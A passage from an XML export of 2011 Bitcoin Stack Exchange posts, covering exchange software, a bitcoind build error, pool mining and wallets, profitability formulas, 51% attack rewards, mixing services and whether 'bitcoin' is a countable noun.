investments.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;At the end of the term, you buy back Bitcoins to pay back the depositor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem, of course, is that the value of Bitcoins could shoot up while the currency is loaned out. To protect against that, a bank that used this model would have to &lt;a href=&quot;http://en.wikipedia.org/wiki/Hedge_%28finance%29#Categories_of_hedgeable_risk&quot; rel=&quot;nofollow&quot;&gt;offer offsetting shorts to cover that loss&lt;/a&gt;. Basically, that means it allows other counter-parties to buy a derivative that goes up if Bitcoins go down and down if Bitcoins go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, if the price of Bitcoins goes down, the bank makes extra money buying back the Bitcoins at a lower price, but it has to pay out on the shorts. If the price of Bitcoins goes up, the bank loses money buying back the Bitcoins, but makes it up on the shorts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the bank itself offers the shorts, it actually makes extra profit on the shorts either way. It makes some profit on the loan and some on the shorts. (Whether Bitcoins go up or down cancels out. Any extra profit on the loan, due to Bitcoins going down, is made up with a loss on the shorts. Any extra profit on the shorts, due to Bitcoins going up, is made up with a loss on the loans. If Bitcoins stay the same, the bank makes its small commission profit on both the loan and the shorts.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are definitely people who believe that, long-term, Bitcoins will gradually drop to near-zero value, and they would like to buy shorts on that basis. However, the shorts would likely have to be more short-term unless the loans were long term. So making the details work could be quite a challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge, nobody offers this yet.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="1475" LastEditDate="2014-03-08T16:44:50.963" LastActivityDate="2014-03-08T16:44:50.963" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1447" PostTypeId="1" AcceptedAnswerId="1448" CreationDate="2011-10-09T14:41:37.670" Score="23" ViewCount="15977" Body="&lt;p&gt;I just found &lt;a href=&quot;https://github.com/enmaku/btc_exchange&quot;&gt;this project&lt;/a&gt;, which is described a.t.m as a learning project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a more serious, open source Bitcoin exchange? I'm aware exchanging BTC for fiat money can be quite complex, and might not fit an open source model, but an exchange specializing in crypto-currencies shouldn't be that complicated to setup, so I think there is room for an open source one.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2012-02-17T14:25:15.607" LastActivityDate="2017-09-19T15:14:48.457" Title="Is there an open source Bitcoin exchange?" Tags="|exchanges|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1448" PostTypeId="2" ParentId="1447" CreationDate="2011-10-09T15:06:09.053" Score="20" Body="&lt;p&gt;Intersango is an open source exchange that is used at &lt;a href=&quot;http://www.intersango.com&quot;&gt;intersango.com&lt;/a&gt;, which is an exchange operated by &lt;a href=&quot;https://bitcoinconsultancy.com/&quot;&gt;The Bitcoin Consultancy&lt;/a&gt;. The open source project that can be found &lt;a href=&quot;http://gitorious.org/intersango&quot;&gt;here&lt;/a&gt; is released under the &lt;a href=&quot;http://www.gnu.org/licenses/agpl.html&quot;&gt;GNU Affero General Public License&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info on how to set it up, see this post on the bitcointalk forums: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=35812.0&quot;&gt;Intersango HOWTO - Build your own Bitcoin Exchange Web Site!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-10-09T15:11:34.583" LastActivityDate="2011-10-09T15:11:34.583" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1449" PostTypeId="1" AcceptedAnswerId="1451" CreationDate="2011-10-09T15:09:19.897" Score="19" ViewCount="21602" Body="&lt;p&gt;When building bitcoind on LinuxCoin (Debian based), I receive this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;headers.h:36:20: fatal error: db_cxx.h: No such file or directory&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;following the instructions at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.txt&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/build-unix.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the error is caused by the package &quot;libdb4.8++-dev&quot; being non-existant for the distro, as when attempting to &quot;apt-get install&quot; that, I get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Package libdb4.8++-dev is not available, but is referred to by another package.&#xA;  This may mean that the package is missing, has been obsoleted, or&#xA;  is only available from another source&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;E: Package 'libdb4.8++-dev' has no installation candidate&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;NOTE: libdb4.8-dev and all other dependencies are already installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably a silly mistake on my part but any help is appreciated! Thanks.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2020-12-15T02:16:26.047" Title="When building bitcoind, I receive error &quot;headers.h:36:20: fatal error: db_cxx.h: No such file or directory&quot;" Tags="|bitcoind|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1450" PostTypeId="2" ParentId="1409" CreationDate="2011-10-09T16:18:00.697" Score="1" Body="&lt;p&gt;You could but it would be pointless.  Bitcoin was designed from the ground up to support a decentralized economy that requires no entity to trust any other entity.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using that infrastructure for a centrally controlled currency that has ability to create &quot;trust&quot; would be horribly inefficient.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-09T16:18:00.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1451" PostTypeId="2" ParentId="1449" CreationDate="2011-10-09T16:58:03.137" Score="7" Body="&lt;p&gt;You need to add &lt;code&gt;-I &amp;lt;directory&amp;gt;&lt;/code&gt; to the end of the &lt;code&gt;CXX=g++&lt;/code&gt; line in the &lt;code&gt;Makefile&lt;/code&gt;. The directory should be the one that contains the &lt;code&gt;db_cxx.h&lt;/code&gt; file from your BerkeleyDB installation. So, change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CXX=g++&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CXX=g++ -I /usr/local/BerkeleyDB.5.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need a &lt;code&gt;/include&lt;/code&gt; or something like that on the end of that. It depends exactly which directory holds the &lt;code&gt;db_cxx.h&lt;/code&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-10-09T16:58:03.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1452" PostTypeId="1" AcceptedAnswerId="1455" CreationDate="2011-10-09T17:01:41.563" Score="8" ViewCount="15507" Body="&lt;p&gt;Oh, sorry. The question is really simple:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need a wallet to start mining and &quot;keep&quot; this bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just stay with my bitcoins in my computer?&lt;/p&gt;&#xA;" OwnerUserId="491" LastEditorUserId="5406" LastEditDate="2016-01-27T16:38:03.240" LastActivityDate="2019-06-09T23:31:07.460" Title="Do I need a wallet to start mining?" Tags="|mining-reward|mining-setup|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1453" PostTypeId="1" CreationDate="2011-10-09T17:46:55.333" Score="6" ViewCount="786" Body="&lt;p&gt;I recently open &lt;a href=&quot;http://bitcoinpie.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Pie&lt;/a&gt;, a site that compares crypto-currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the exchange rate in BTC, I would like to add another column that tells &quot;relative mining profitability&quot;, regardless of the hardware used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if at a given moment, BTC mines at difficulty X, NMC at Y, and FooCoin at Z, with the conversion rates to BTC being 1, N_BTC, and F_BTC respectively, just comparing X, Y*N_BTC, and Z*F_BTC should give an indication of which one a rational miner should mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a good number to use in the difficulty column? Where are the APIs for it? Is it just plain &quot;difficulty&quot;, or is it some other number?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to take merged Namecoin mining into account here. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CPU and GPU coins should not be measured on the same scale.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="516" LastEditDate="2012-07-20T00:01:24.120" LastActivityDate="2012-07-20T05:09:02.240" Title="Is there a uniform measure of &quot;difficulty&quot;, that when multiplied by price, will give &quot;profitability of one hour of mining&quot;?" Tags="|alternatives|mining-profitability|difficulty|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1454" PostTypeId="2" ParentId="1452" CreationDate="2011-10-09T17:51:13.330" Score="1" Body="&lt;p&gt;A wallet is something you'll usually keep on your computer, it is not an external website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A miner will generate a fresh wallet on startup (which you should backup immediately and perhaps regularilly). The location of the file on disk varies between OSes. Then, when the miner is run, this wallet will start filling up with coins (over time. If you mine Bitcoin, your throughput will be low right now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're new to mining, make sure to read about &lt;a href=&quot;https://en.bitcoin.it/wiki/Pooled_mining&quot; rel=&quot;nofollow&quot;&gt;Mining Pools&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-10-09T17:51:13.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1455" PostTypeId="2" ParentId="1452" CreationDate="2011-10-09T18:25:36.097" Score="4" Body="&lt;p&gt;The wallet doesn't have to be on the same computer. For example, you can mine in a pool and the address to receive bitcoins could be from any wallet located anywhere.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-10-09T18:25:36.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1456" PostTypeId="2" ParentId="1452" CreationDate="2011-10-09T19:53:04.223" Score="4" Body="&lt;p&gt;You don't need a wallet if you are mining at a pool. The coins are kept at your account in their website and you can use them from there. If you want to transfer them to your computer, then yes, you need to download the bitcoin client which automatically creates a wallet for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are solo mining (which is not recommended unless you have lots of GPUs) you need to have the bitcoin client running, therefore you will also have a wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can mine, use and trade bitcoins without ever installing the bitcoin client because there are lots of websites/exchanges where you can keep your coins. If you don't want to trust your money to a third party, then make sure that the computer where you store your wallet is clean from virus/spyware.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-10-09T19:53:04.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1457" PostTypeId="2" ParentId="1433" CreationDate="2011-10-09T22:59:46.510" Score="23" Body="&lt;p&gt;&lt;strong&gt;Please check this question first&lt;/strong&gt;:&lt;br&gt;&#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/118/how-much-bitcoin-will-i-mine-right-now-with-hardware-x&quot;&gt;How much Bitcoin will I mine right now with hardware X?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you go through all this work, it is important to know what to expect from your hardware.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are two options: solo mining or pool mining. Unless you have &lt;strong&gt;a lot&lt;/strong&gt; of computing power (several ASICs), you should probably mine at a pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the first thing to do is to sign up at a bitcoin pool. The stickies in &lt;a href=&quot;https://bitcointalk.org/index.php?board=41.0&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; bitcointalk section have links for the top 10 pools. The main differences between them are the payout models and the fees. If you just want to try things out, choose one of the most popular pools like &lt;a href=&quot;https://deepbit.net/&quot; rel=&quot;noreferrer&quot;&gt;Deepbit&lt;/a&gt; or &lt;a href=&quot;http://www.btcguild.com/&quot; rel=&quot;noreferrer&quot;&gt;BTC Guild&lt;/a&gt;. You can then try others, according to your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you need to install a miner. It has a simple interface, a drop down menu with a list of pre-configured pools and it is not difficult to setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you install the miner, you need to point it towards your pool. So select device you want to mine with (probably your FPGA/ASIC), enter the pool URL (if you don't know what it is, check the FAQ/help section of your pool's website) and your username/password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's it. You can now see your progress at the pool's website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Useful links:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/127/what-is-a-mining-pool-what-is-it-good-for&quot;&gt;What is a Mining Pool, what is it good for?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/59/is-cpu-mining-even-worth-it&quot;&gt;Is CPU mining even worth it?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/370/what-is-a-good-mining-pool-payout-model-for-infrequent-mining&quot;&gt;What is a good mining pool/payout model for infrequent mining?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In your specific case, you have no ASICs or FPGAs, so you will earn less than a penny of Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-10-17T02:06:29.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1459" PostTypeId="2" ParentId="1453" CreationDate="2011-10-10T00:43:19.653" Score="3" Body="&lt;p&gt;The standard formula to determine the average profit per day for a given MH/s miner on a given blockchain is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(S/(D*4295))*60*60*24*R*P&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;S&lt;/code&gt; is the speed in MH/s rating of the miner, &lt;code&gt;D&lt;/code&gt; is the difficulty rating, &lt;code&gt;R&lt;/code&gt; is the reward (50 BTC/block for Bitcoin) and &lt;code&gt;P&lt;/code&gt; is the price in USD of a single coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That I know of there is no standard profitability measure but it would be easy enough to create one given standard values of &lt;code&gt;S&lt;/code&gt;. If for example we define the standard as &lt;code&gt;S=100 MH/s&lt;/code&gt; then we could easily compare the profitability of mining various blockchains in the resultant USD calculation.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="516" LastEditDate="2012-07-20T05:09:02.240" LastActivityDate="2012-07-20T05:09:02.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1464" PostTypeId="2" ParentId="13" CreationDate="2011-10-10T13:56:31.250" Score="7" Body="&lt;p&gt;One thing often overlooked is that bitcoin is most useful in chaotic economies.  Bitcoin likely will not replace the Euro, Dollar, Yen, or Yuan for very long time (if ever).  However many economies suffer from poor economic planning and gross manipulation by central banks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take the Zimbabwe hyperinflation scenario.  If bitcoin existed and was easily used by 3rd world country as the Zimbabwe dollar collapsed due to rampant printing of money people would move to another store of value such as bitcoin.  While the Z dollar would still have collpased the material affect on the economy would be less significant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus the first world (providing most of the hashing power) could provide a launch pad for more stable economies in developing nations and greatly increase the use and legitimacy of bitcoin. &lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-10T13:56:31.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1465" PostTypeId="2" ParentId="172" CreationDate="2011-10-10T13:58:47.440" Score="2" Body="&lt;p&gt;AMD Catalyst drivers have a bug which result in 100% CPU usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The current drivers (11.9 as of writing) solve this bug for SINGLE GPU systems but MULTIPLE GPU systems are still affected by the &quot;100% CPU bug&quot;.  This isn't anything that can be fixed in software it must be fixed by AMD driver team.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 11.10 preview driver also doesn't (at time of writing) solve this 100% bug on multiple GPU systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard (but can't personally confirm) that Nvidia drivers also have a similar bug with OpenCL drivers.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2011-10-10T13:58:47.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1466" PostTypeId="2" ParentId="1423" CreationDate="2011-10-10T14:11:59.443" Score="2" Body="&lt;p&gt;The easiest and most straightforward way would be going to &lt;a href=&quot;http://www.allchains.info&quot; rel=&quot;nofollow&quot;&gt;www.allchains.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No need to bother with command line and stuff.&lt;/p&gt;&#xA;" OwnerUserId="554" LastActivityDate="2011-10-10T14:11:59.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1467" PostTypeId="2" ParentId="1305" CreationDate="2011-10-10T14:23:45.777" Score="1" Body="&lt;p&gt;I know I am late to the party, but what is the incentive to use custom hardware when economies of scale make CPUs cheap ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A sane Rich Attacker would just buy hundreds of 4-cpu servers with, say, Bulldozer CPUs (In case of bitcoin a Rich Attacker could buy a screaming ton of GPUs or whichever equipment gives him best bang per buck)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't defend yourself against a Rich Attacker by technological means because no matter  whether you use CPUs, GPUs, or Babage engines, he will just buy more tech than you can afford, end of line.&lt;/p&gt;&#xA;" OwnerUserId="554" LastActivityDate="2011-10-10T14:23:45.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1468" PostTypeId="2" ParentId="1409" CreationDate="2011-10-10T16:54:51.143" Score="5" Body="&lt;p&gt;For a private currency, you'd want a digital bearer certificate system (such as &lt;a href=&quot;https://github.com/FellowTraveler/Open-Transactions/wiki&quot;&gt;Open Transactions&lt;/a&gt;) instead of a Bitcoin-like system.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-10-10T16:54:51.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1469" PostTypeId="1" CreationDate="2011-10-10T21:25:49.613" Score="13" ViewCount="1845" Body="&lt;p&gt;Should &quot;bitcoin&quot; be used as a countable noun admitting a singular and a plural (so that one says &quot;600 bitcoins are in this wallet&quot;) or as a mass noun, (like &quot;water&quot; or &quot;money&quot;) (so that one says &quot;How much bitcoin is used every day throughout the world&quot; or &quot;600 bitcoin is enough for this transaction&quot;)?&lt;/p&gt;&#xA;" OwnerUserId="492" LastEditorUserId="5406" LastEditDate="2016-02-09T09:56:20.573" LastActivityDate="2016-02-09T09:56:20.573" Title="Is &quot;bitcoin&quot; a countable noun?" Tags="|terminology|divisibility|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1470" PostTypeId="2" ParentId="1469" CreationDate="2011-10-10T22:06:16.043" Score="4" Body="&lt;p&gt;I have typically seen Bitcoin used as a countable noun, as in your first example. There is much confusion around the terminology commonly used since the word can refer either to a project encompassing the currency or can refer to the units of currency themselves. We had quite a &lt;a href=&quot;https://bitcoin.meta.stackexchange.com/questions/21/how-do-we-capitalize-bitcoin-or-bitcoin-or-bitcoin&quot;&gt;discussion on capitalization&lt;/a&gt; over on meta, for example.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-03-16T15:49:08.657" LastActivityDate="2011-10-10T22:06:16.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1471" PostTypeId="1" AcceptedAnswerId="63723" CreationDate="2011-10-10T23:37:33.083" Score="7" ViewCount="13113" Body="&lt;p&gt;Where can I find a chart (or even raw data) of &lt;a href=&quot;http://dot-bit.org/&quot;&gt;Namecoin&lt;/a&gt; prices over time?&#xA;&lt;a href=&quot;http://www.nmcwatch.com/index.php?p=charts&quot;&gt;NMC Watch&lt;/a&gt; doesn't seem to provide a link to historical data, just one day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In BTC? In USD?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="196" LastEditDate="2013-03-03T14:00:32.127" LastActivityDate="2018-01-25T13:21:27.160" Title="Is there a graph of Namecoin value over time?" Tags="|namecoin|charts|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1473" PostTypeId="2" ParentId="1471" CreationDate="2011-10-11T01:27:09.423" Score="1" Body="&lt;p&gt;It's possible to see &lt;a href=&quot;http://www.nmcwatch.com/index.php?c=bpx&amp;amp;tf=1d&quot; rel=&quot;nofollow&quot;&gt;historical Namecoin's price chart&lt;/a&gt; on NMC Watch, the link provides price chart from June 2 to current date.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="108" LastEditDate="2011-10-11T04:23:18.747" LastActivityDate="2011-10-11T04:23:18.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1474" PostTypeId="2" ParentId="1469" CreationDate="2011-10-11T06:13:05.883" Score="12" Body="&lt;p&gt;Everyone is using it as a countable noun. There's actually a grammatical rule that says this is what should happen. If a new term ends with an existing term and is semantically related to that term, it gets the old term's rules. If not, it does not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a &quot;pop fly&quot; is not a type of fly (the bug). So we don't say &quot;pop flies&quot; but &quot;pop flys&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;bag lady&quot; is a type of lady. So we don't say &quot;bag ladys&quot; but &quot;bag ladies&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We don't say &quot;two firemans&quot; because while a fireman is not necessarily a man, the origin is directly related.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, a &quot;bitcoin&quot; is a type of coin, the terms are semantically related. So it should inherit the rules of the word 'coin'. Since we'd say &quot;one coin&quot;, &quot;two coins&quot;, we would expect the rule to be &quot;one bitcoin&quot;, &quot;two bitcoins&quot;. This feels natural to people, so it's what they do.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-10-15T01:12:35.350" LastActivityDate="2011-10-15T01:12:35.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1475" PostTypeId="1" AcceptedAnswerId="1478" CreationDate="2011-10-11T07:59:58.150" Score="12" ViewCount="2151" Body="&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;What can an attacker with 51% of hash power do?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may have been discussed elsewhere, but I'm not sure what the answer is - if someone owns 51% of the hash power, can't he just ignore the rest of the network, and only focus on his chain, thus earning more than 51% of the rewards (100% in fact)? Will he in fact earn 100% of the reward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also - is it possible that several attackers working independently could achieve this scenario? If two people have 34% each, won't one of them always out-race the legitimate chain? Of course, they can't both win, but for some period of time, won't the stronger one among them gain more than his fair share of block rewards?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2016-01-27T16:36:31.247" Title="Can someone with 51% computing power earn more than he deserves?" Tags="|security|mining-reward|majority-attack|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1476" PostTypeId="2" ParentId="658" CreationDate="2011-10-11T08:01:09.563" Score="0" Body="&lt;p&gt;I suspect he might be able to mine more than 51% of the blocks. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1475/can-someone-with-51-computing-power-earn-more-than-he-deserves&quot;&gt;Can someone with 51% computing power earn more than he deserves?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2011-10-11T08:01:09.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1477" PostTypeId="2" ParentId="1475" CreationDate="2011-10-11T08:19:36.210" Score="-4" Body="&lt;p&gt;He could do whatever he wants to, the problem is legitimate clients would ignore the blocks if they are out-of-spec!&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2011-10-11T08:19:36.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1478" PostTypeId="2" ParentId="1475" CreationDate="2011-10-11T09:21:27.077" Score="4" Body="&lt;p&gt;If you have 51% of the network and you see that someone else has solved a block, then you can either accept their block or compete with it. In either case, if you get the next block you'll get 50 BTC. Usually neither option is more desirable than the other unless you're doing other attacks. It might be a bit better to take 100% if you're worried about difficulty or subsidy adjustments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So an attacker &lt;em&gt;could&lt;/em&gt; get 100% of block rewards, but this alone won't help him much.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2011-10-11T09:21:27.077" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1480" PostTypeId="1" AcceptedAnswerId="1481" CreationDate="2011-10-11T12:30:05.900" Score="25" ViewCount="21622" Body="&lt;p&gt;A Bitcoin Laundry or &lt;a href=&quot;https://en.bitcoin.it/wiki/Mixing_service&quot;&gt;Mixing Service&lt;/a&gt; is a service that accepts BTC payments, and returns the same BTC amount, only from coins that are unassociated to the original BTC. It is a privacy service that works well if it has massive usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are some good mixing services? Is there any data on how well they actually anonymize (e.g. what size are their &quot;stashes&quot; or user base (bigger stash = bigger anonymity)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="81" LastEditDate="2011-10-11T18:00:05.213" LastActivityDate="2020-11-27T01:34:39.483" Title="What Bitcoin Mixing/Laundry Services are availble today?" Tags="|privacy|services|" AnswerCount="7" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1481" PostTypeId="2" ParentId="1480" CreationDate="2011-10-11T16:23:18.557" Score="11" Body="&lt;p&gt;The only one I'm currently aware of is &amp;quot;&lt;a href=&quot;https://web.archive.org/web/20160219173707/http://bitcoinlaundry.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Laundry&lt;/a&gt;&amp;quot; operated by Mike Gogulski. They charge a 4.555% commission rate and do little more than accept a payment then re-send a payment. There is also (according to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Laundry&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wiki&lt;/a&gt;) that the service is only lightly used and might not be adequate to provide any real anonymity. You might be better sending then withdrawing coins at Mt Gox with a decent delay between transactions - the sheer volume of Mt Gox's transactions as well as the size of their wallet would make them much more effective and there's nothing I'm aware of to stop you from creating an account with a throwaway email address and accessing Mt Gox through TOR/I2P/etc.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="112182" LastEditDate="2020-11-27T01:34:39.483" LastActivityDate="2020-11-27T01:34:39.483" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="1482" PostTypeId="1" CreationDate="2011-10-11T17:44:28.493" Score="16" ViewCount="5549" Body="&lt;p&gt;From Slush's pool's homepage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Pool now supports Long polling and NTime rolling. Older miners have many problems with those new features, which can negatively affect your rewards. Please update your miners to latest version!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does NTime rolling and nonce range mean for me as a miner?&#xA;And what miners support it? (+versions)&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-01-27T16:36:00.313" LastActivityDate="2016-01-27T16:36:00.313" Title="What is NTime rolling/nonce range? And what miners support it?" Tags="|mining-pools|mining-software|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1484" PostTypeId="2" ParentId="169" CreationDate="2011-10-11T22:08:35.037" Score="9" Body="&lt;p&gt;The amount of NMC required in order to register a domain name is &lt;strong&gt;fixed by the protocol&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having NMC and BTC be separate currencies ensures that the number of &lt;strong&gt;BTC&lt;/strong&gt; needed to register a domain name is set by market pricing mechanisms, not by the hardwired protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we used NMC for buying and selling things other than BTC, it would be like denominating all of our economic activities in terms of domain name registrations (&quot;this pizza will cost you 0.012 domain name registrations&quot;).  This is a bad idea because the demand for domain names would indirectly influence the price of everything else in the economy.  &lt;strong&gt;It's the same reason why the precious metal with the &lt;em&gt;fewest&lt;/em&gt; industrial uses is the 